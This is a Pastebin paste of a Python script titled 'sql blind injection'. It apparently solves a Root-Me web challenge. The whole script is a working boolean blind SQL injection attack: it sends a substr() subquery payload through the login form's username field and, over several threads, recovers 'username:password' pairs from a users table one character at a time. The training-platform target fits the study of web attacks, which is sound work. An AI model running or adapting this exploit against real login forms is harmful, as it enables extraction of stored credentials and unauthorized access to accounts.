Mouseartiom

sql blind injection

Apr 19th, 2019
482
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.39 KB | None | 0 0
  1. import requests,string,threading,queue,time
  2. url="http://challenge01.root-me.org/web-serveur/ch10/"
  3. username=''
  4. payload=''
  5. next=False
  6. class mythread(threading.Thread):
  7.     def __init__(self, func,queue):
  8.         super(mythread, self).__init__()
  9.         self.func=func
  10.         self.queue=queue
  11.     def run(self):
  12.         while True:
  13.             data=self.queue.get()
  14.             self.func(data)
  15.             self.queue.task_done()
  16.  
  17. def work(data):
  18.     i,j,k=data
  19.     print(i, j, k)
  20.     global next, payload
  21.     username="1' or substr((select username||':'||password FROM users limit {},1),{},1)='{}' --+".format(k,j,i )
  22.     data={"username":username,"password":'1'}
  23.     print(username)
  24.     page = ''
  25.     while page == '':
  26.         try:
  27.             page = requests.post(url,data=data)
  28.             break
  29.         except:
  30.             print("Connection refused by the server..")
  31.             time.sleep(5)
  32.             continue
  33.  
  34.     if 'Welcome' in page.text:
  35.         payload+=i
  36.         print(payload)
  37.         next=True
  38.  
  39. q=queue.Queue(5)
  40. for i in range(5):
  41.         thread=mythread(work,q)
  42.         thread.start()
  43. for k in range(1,5):
  44.     for j in range(1,100):
  45.         if next==True:
  46.             next=False
  47.         for i in string.printable[:-5]:
  48.             if next==False:
  49.                 q.put([i,j,k])
  50.             else:
  51.                 next=False
  52.                 break
  53.     q.join()
Advertisement
Add Comment
Please, Sign In to add comment